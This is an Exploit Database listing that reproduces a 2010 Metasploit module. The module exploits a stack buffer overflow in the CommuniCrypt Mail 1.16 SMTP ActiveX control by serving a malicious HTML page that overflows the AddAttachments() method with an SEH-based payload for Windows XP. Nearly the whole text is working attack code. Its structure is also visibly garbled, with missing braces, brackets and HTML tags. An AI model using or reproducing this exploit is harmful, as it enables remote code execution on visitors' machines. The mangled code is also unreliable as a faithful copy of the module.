CommuniCrypt Mail 1.16 – SMTP ActiveX Stack Buffer Overflow (Metasploit)

Exploit Database
135 阅读

作者： Metasploit

日期： 2010-07-26
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16566/

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# $Id: communicrypt_mail_activex.rb 9933 2010-07-26 19:30:02Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll

ActiveX Control provided by CommuniCrypt Mail 1.16.By sending a overly

long string to the "AddAttachments()" method, an attacker may be able to

execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' =>

[

'Lincoln',# Original exploit author

'dookie'# MSF module author

'Version'=> '$Revision: 9933 $',

'References' =>

[

[ 'OSVDB', '64839' ],

[ 'URL', 'http://www.exploit-db.com/exploits/12663' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1000,

'BadChars'=> "\x00\x09\x0a\x0d'\\",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP Universal', { 'Offset' => 284, 'Ret' => 0x1001e41c } ], #p/p/r in AOSMTP.dll

'DisclosureDate' => 'May 19 2010',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things

vname = rand_text_alpha(rand(100) + 1)

strname = rand_text_alpha(rand(100) + 1)

filler= rand_text_alpha(target['Offset'])

seh = generate_seh_payload(target.ret)

trailer = rand_text_alpha(1000 - p.encoded.length)

sploit= filler + seh + p.encoded + trailer

# Build out the message

content = %Q|<html>

var #{vname} = document.getElementById('#{vname}');

var #{strname} = new String('#{sploit}');

#{vname}.AddAttachments(#{strname});

</script>

</html>

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end